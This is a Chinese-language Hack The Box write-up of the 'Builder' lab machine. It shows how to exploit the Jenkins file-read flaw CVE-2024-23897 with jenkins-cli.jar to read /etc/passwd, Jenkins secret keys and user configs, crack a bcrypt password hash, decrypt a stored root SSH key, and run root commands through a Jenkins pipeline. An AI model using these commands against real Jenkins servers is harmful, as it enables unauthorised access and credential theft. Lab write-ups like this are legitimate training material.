HTB-Builder

admin 2024年3月4日01:48:19评论19 views字数 3474阅读11分34秒阅读模式

Builder

HTB-Builder

0x01 侦查

端口扫描

首先使用 nmap 进行全端口扫描

nmap -Pn -p- 10.10.11.10 -oA Builder.nmap --min-rate=1000
HTB-Builder

针对开放端口进一步扫描

nmap -Pn -p 22,8080,62829 -sV -sC 10.10.11.10 --min-rate=500
HTB-Builder

访问网站为 Jenkins 代码构建平台,版本为 2.441

HTB-Builder

浏览平台存在未授权访问信息,其中用户名为jennifer

HTB-Builder

任意文件读取

通过谷歌搜索 Jenkins 2.441 相关漏洞,成功找到任意文件读取漏洞(CVE-2024-23897)。该漏洞允许攻击者使用 Jenkins 命令解析器特性来读取系统上的任意文件

HTB-Builder

在 Github 中找到相关的漏洞利用代码,执行后成功读取到文件内容,但返回内容并不完全

python3 CVE-2024-23897.py -t 10.10.11.10 -p 8080 -f /etc/passwd
HTB-Builder

脚本提示可使用jenkins-cli.jar,访问以下路径可下载该工具

/jnlpJars/jenkins-cli.jar

下载成功后查看工具的帮助命令,其中参数-s指定 Jenkins 服务器 URL

java -jar jenkins-cli.jar help
HTB-Builder

指定 URL 后输入help会返回可执行命令,不同命令会导致文件读取行数不同

java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ help
HTB-Builder

使用who-am-i参数查看当前权限为anonymous

java -jar jenkins-cli.jar -noCertificateCheck -s http://10.10.11.10:8080/ who-am-i
HTB-Builder

/etc/passwd为例成功读取服务器中的文件内容

java -jar jenkins-cli.jar -noCertificateCheck -s http://10.10.11.10:8080/ who-am-i "@/etc/passwd"
HTB-Builder

成功在 Jenkins 目录下拿到第一个flag

java -jar jenkins-cli.jar -noCertificateCheck -s http://10.10.11.10:8080/ who-am-i "@/var/jenkins_home/user.txt"
HTB-Builder

0x02 上线[root]

Jenkins信息枚举

在 Jenkins 中默认存在的敏感文件如下:

/var/jenkins_home/users/users.xml #保存 Jenkins 用户的基本信息,例如用户列表、用户组等
/var/jenkins_home/users/*/config.xml #保存特定用户的配置信息,比如用户密码、Token、权限信息等
/var/jenkins_home/secrets/initialAdminPassword #保存管理员的初始密码
/var/jenkins_home/secret.key #主要作为 Jenkins 实例的主加密密钥,用于加密其中的敏感信息,比如密码、令牌等
/var/jenkins_home/secrets/master.key #与 secret.key 类似,同样用于加密其他加密密钥和敏感数据。
/var/jenkins_home/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac #用于存储“记住我”功能的安全密钥,Jenkins 使用该密钥验证和加密相关 Cookie,允许用户浏览器会话保持登录状态

在文件内容较短可使用who-ami-i,比如获取 Jenkins 的主加密秘钥

java -jar jenkins-cli.jar -noCertificateCheck -s http://10.10.11.10:8080/ who-am-i "@/var/jenkins_home/secret.key"
HTB-Builder

而当文件内容较长时可使用connect-node,比如获取 Jenkins 的用户列表,其中jennifer_12108429903186576833主要作为用户jennifer的唯一标识符

java -jar jenkins-cli.jar -noCertificateCheck -s http://10.10.11.10:8080/ connect-node "@/var/jenkins_home/users/users.xml"
HTB-Builder

获取jennifer用户信息,成功找到用户邮箱为[email protected]

java -jar jenkins-cli.jar -noCertificateCheck -s http://10.10.11.10:8080/ connect-node "@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml"
HTB-Builder

与此同时找到密码的哈希值为$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a

HTB-Builder

哈希破解

使用 hashcat 判断哈希值类型为bcrypt

hashcat password.hash
HTB-Builder

指定字典后对哈希值进行爆破,成功拿到明文密码为princess

hashcat -m 3200 password.hash /usr/share/wordlists/rockyou.txt --force
HTB-Builder

Jenkin登录

使用jennifer/princess成功登录 Jenkins

HTB-Builder

在全局凭据中找到用户 root 的 SSH 私钥,点击右侧的按钮进行查看

HTB-Builder

查看网页源码找到隐藏的私钥加密字符串

HTB-Builder
HTB-Builder

在 Jenkins 脚本控制台下解密这串字符串,成功拿到对应的 SSH 私钥

println(hudson.util.Secret.decrypt("{AQAAABAAAAowLrfCrZ...}"))
HTB-Builder

在 Jenkins 控制台中可构建项目代码,点击Create a job进行构建

HTB-Builder

输入项目名称为mac后点击OK

HTB-Builder

使用示例创建代码如下用于输出Hello World

HTB-Builder

保存后点击Build Now构建项目

HTB-Builder

在控制台成功输出字符串Hello World

HTB-Builder

插件RCE

浏览控制台找到两个关于 SSH 的插件,其中SSH Agent允许在 Jenkins 中提供 SSH 凭据后处理 SSH 操作

HTB-Builder

查看相关插件参考后编写 Pipeline 代码连接 SSH 并执行命令,但提示未找到特定的凭据

node {
    sshagent (credentials: ['ssh-credentials-id']) {
      sh 'ssh -o StrictHostKeyChecking=no -l root 10.10.11.10 uname -a'
    }
}
HTB-Builder

重新查看全局凭据发现对应的 ID 号为1

HTB-Builder

修改代码后再次执行,返回主机信息说明命令执行成功

node {
    sshagent (credentials: ['1']) {
      sh 'ssh -o StrictHostKeyChecking=no -l root 10.10.11.10 uname -a'
    }
}
HTB-Builder

在管理员目录下成功找到.ssh目录,其中存放着 SSH 密钥

node {
    sshagent (credentials: ['1']) {
      sh 'ssh -o StrictHostKeyChecking=no -l root 10.10.11.10 find /root'
    }
}
HTB-Builder

查看管理员私钥可知与先前解密的 SSH 私钥相同

node {
    sshagent (credentials: ['1']) {
      sh 'ssh -o StrictHostKeyChecking=no -l root 10.10.11.10 cat /root/.ssh/id_rsa'
    }
}
HTB-Builder

SSH私钥登录

利用拿到私钥成功登录管理员

chmod 400 ssh-private-key
ssh -i ssh-private-key [email protected]
HTB-Builder

在管理员目录下成功拿到第二个flag

HTB-Builder


原文始发于微信公众号(A11Safe):HTB-Builder

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月4日01:48:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB-Builderhttp://cn-sec.com/archives/2544175.html

发表评论

匿名网友 填写信息